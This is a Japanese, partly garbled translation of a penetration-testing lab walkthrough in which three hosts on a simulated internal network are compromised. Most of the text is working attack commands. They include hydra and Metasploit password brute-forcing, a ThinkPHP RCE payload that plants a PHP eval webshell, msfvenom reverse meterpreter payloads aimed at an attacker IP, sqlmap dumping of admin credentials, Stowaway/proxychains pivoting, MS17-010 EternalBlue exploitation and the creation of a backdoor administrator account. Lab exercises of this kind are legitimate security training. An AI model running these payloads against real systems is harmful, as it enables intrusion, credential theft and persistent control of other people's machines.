研究室環境
環境の半分が崩壊し、IP アドレスが以下の影響を受ける
Target1 - Centos7 (Web サービス)
此主机的IP地址:
192.168.41.136 (模拟公网IP能与物理机通讯)
192.168.22.132
Target2 - Ubuntu (イントラネット Web サービス)
此主机的IP地址:
192.168.22.133
192.168.33.130
Target3 - Windows7 (クライアント)
此主机的IP地址:
192.168.33.33
目的
3 つのホスト権限を取得します
実験手順
テスト対象1
メッセージを収集する
dirsearch を使用して Web サイト ディレクトリ 192.168.41.136 をスキャンし、http://192.168.41.136/index.php が Thinkphp フレームワークであることを確認します。
nmapスキャンポート
ポート 22/21 の弱いパスワードのブラスティング (MSF、ヒドラ)
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.41.136
set USER_FILE /root/Desktop/tools/dic_username_ssh.txt
set PASS_FILE /root/Desktop/tools/pwd100.txt
hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ssh -f
hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ftp -f
ポート3306
リモート IP ログインは許可されていません
ポート8888
Pagodaインターフェースが不明なアカウントのパスワードは使用できません
ポート80
Thinkphp v5.0にはリモートコマンド実行の脆弱性があり、コマンド実行、GetShellを通じて文章を書く
PHP 一文トロイの木馬 poc
/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put
_contents&vars[1][]=admin123.php&vars[1][]=<?php @eval($_POST[123]);?>
Ant Sword を使用してリンクを成功させる
Web サーバー (192.168.41.136) が正常に取得されました。
ホスト情報の収集
ifconfig は 22 のネットワーク セグメントがあることを検出します。
スクリプトを /tmp ディレクトリにアップロードし、22 のネットワーク セグメント ping.sh をスキャンします。
#!/bin/bash
for num in {
1..254};
do
ip=192.168.22.$num
ping -c1 $ip >/dev/null 2>&1
if [ $? = 0 ];
then
echo "$ip" ok
else
echo "$ip" fail
fi
done
ping.sh 権限を付与して実行する
chmod 777 ping.sh
./ping.sh > ping.txt
しかし実行できません。環境の問題なのかわかりません。別の方法でイントラネット スキャン ツール fscan をアップロードしてください
bash を使用してシェル メソッドをリバウンドし、攻撃マシンにリバウンドする
fscan 権限を与えて実行すると、生き残っているホスト 192.168.22.133/132 とポートが開いていることがわかり、192.168.22.133 が CMS であることがわかります。
./fscan_amd64 -h 192.168.22.0/24
シェルをmsfにバウンスする
Target1 のシェルを MSF にリバウンドさせます
msfvenom ペイロードを生成する
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.41.130 lport=6666 -f elf -o msf.elf
Target1の/tmpディレクトリにアップロードして実行
# 赋予执行权限
chmod 777 msf.elf
# 执行程序
./msf.elf
meterpreter > get_local_subnets を実行してネットワーク セグメント情報を取得する
Socks プロキシを作成する
Target1 の meterpreter シェルを取得した後、192.168.22.0/24 ネットワーク セグメントにルートを追加します。
run autoroute -s 192.168.22.0/24
run autoroute -p
MSF の Socks5 モジュールを使用して Socks プロキシ サービスを開始します
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run
proxychains プロキシ ツールを構成する
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
密航プロキシを使用することもできます
1. 攻撃マシンが管理監視を開始します。
./admin -l 4444 -s hack
2. Target1 がエージェントを開始します
./agent -c 192.168.41.130:4444 -s hack
3. Socks プロキシを開きます
Target1 のノードノードを入力し、socks コマンドを使用して sock プロキシを開きます。
use 0
socks 1080
4. proxychains4.conf ファイルを編集します。
vim /etc/proxychains4.conf
5. Socks プロキシをテストし、プロキシチェーン ツールを使用します。
テストターゲット2
メッセージを収集する
イントラネット スキャン用の 22 のネットワーク セグメント、
proxychains nmap -sT -Pn -p- -n -T4 192.168.22.133
21/22ポート
弱いパスワードのブラストに失敗しました
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 mysql
ポート8888
パゴダのページは利用できません
ポート80
上記の情報収集により、ポート 80 が Bagecms フレームワークであることがわかり、過去の脆弱性を検索し、見つかった POC を使用して SQL インジェクションの脆弱性があることを 1 つずつテストし、テスト用の sqlmap ツールを使用しました。
プロキシ サーバーに接続することで、ローカルの物理マシンがイントラネットの Web ページにアクセスできるようになり、bagcms であることも明確にわかります
proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword
バーストデータベース
proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword --dbs
Bagcms のテーブル名を展開します。
proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables
Bag_admin 列のデータを展開する
proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump
バックグラウンド ログイン アカウントのパスワードを取得します: admin/123qwe
プロキシファイア ツールを使用してローカル物理マシンのグローバル プロキシを設定し、Yujian ディレクトリ スキャン ツールを使用してイントラネット Web サービスをスキャンできるようにします。
Yujian ディレクトリをスキャンした後、/robots.txt ディレクトリにアクセスするとディレクトリ リークが見つかり、管理背景のアドレスを取得しました。
バックグラウンドでログイン -> テンプレート -> サイトフォルダー内のindex.phpファイルの後に文を追加 -> Ant Swordを使用してWebシェルに接続するようにソックスプロキシを設定します
オンラインの target2 ターゲット マシンに正常に接続されました
そして root ユーザーとして (192.168.22.133 サーバー権限を取得します)
ホスト情報の収集
ifconfig
192.168.33.0/24 のイントラネット セグメントが存在することがわかります。
密航レイヤー 2 ソックス プロキシを使用する
1. ノードでの監視を有効にする
ノード 0 ノードに入り、listen を実行し、listen ポートを設定し、listen モードを有効にします。
use 0
listen
1
7070
Target1 では、エージェントがポート 7070 をリッスンしていることがわかります。
2. Target2 接続のリスニング ポート
Target2 をリッスンする Target1 のポート 7070 に接続します。
./agent -c 192.168.22.130:7070 -s hack
3. Socks プロキシを開きます
管理者は新しいノード 1 を受け取り、ノード 1 ノードに入り、Socks プロキシを開始します。
4. proxychains4.conf ファイルを変更してプロキシをテストします。
vim /etc/proxychains4.conf
イントラネット生存検出用の ping.sh スクリプトを作成し、192.168.33.33 ホストが生存していることを確認します。
#!/bin/bash
for num in {
1..254};
do
ip=192.168.22.$num
ping -c1 $ip >/dev/null 2>&1
if [ $? = 0 ];
then
echo "$ip" ok
else
echo "$ip" fail
fi
done
テスト対象3
メッセージを収集する
proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33
イントラネット スキャン ツール fscan を使用して 3 つのネットワーク セグメントをスキャンすると、192.168.33.33 が Windows 7 システムであり、MS17-010 の脆弱性があることがわかります。
分析と活用
MS17-010 の脆弱性があることはわかっています。この脆弱性は、TCP ポート 445 および 139 を介して SMBv1 および NBT でリモート コード実行の脆弱性を悪用し、悪意のあるコードを介して 445 のファイル共有ポートを開いている Windows ホストをスキャンして攻撃します。
攻撃マシンの MSF を開き、Target1\2 のシェルをリバウンドし、Linux システムのトロイの木馬ペイロードを生成します。
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5554 -f elf > target1.elf
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5555 -f elf > target2.elf
サーバーディレクトリにアップロードしてAnt Sword経由で実行し、target1とtarget2のセッションを取得し、ルーティングを設定します。
MSF の MS17-010 スキャン モジュールを使用して脆弱性を検出したところ、MS17-010 の脆弱性が存在することが判明しました。
MS17-010モジュールを使用した脆弱性攻撃
use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_psexec) > set payload
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
target3のセッションを取得しており、システム権限(192.168.33.33)です。
上記の情報収集を使用すると、ホストが 3389 リモート ポートを開いていることがわかり、リモート デスクトップ接続に物理マシンを直接使用できるようになります。
ポート3389
# 添加管理员用户
net user test test123 /add
net localgroup administrators test /add
# 查看管理员用户
net localgroup administrators
管理ユーザーを追加した後、プロキシソフトウェアを使用してプロキシを設定します
リモート接続には Windows に付属のリモート ソフトウェアを使用します
ユーザーがログインしている場合は、30 秒待ってから自動的に回線を開始します。
ホストを停止すると、ネットワーク セグメントは 1 つだけになり、侵入が完了します。!!!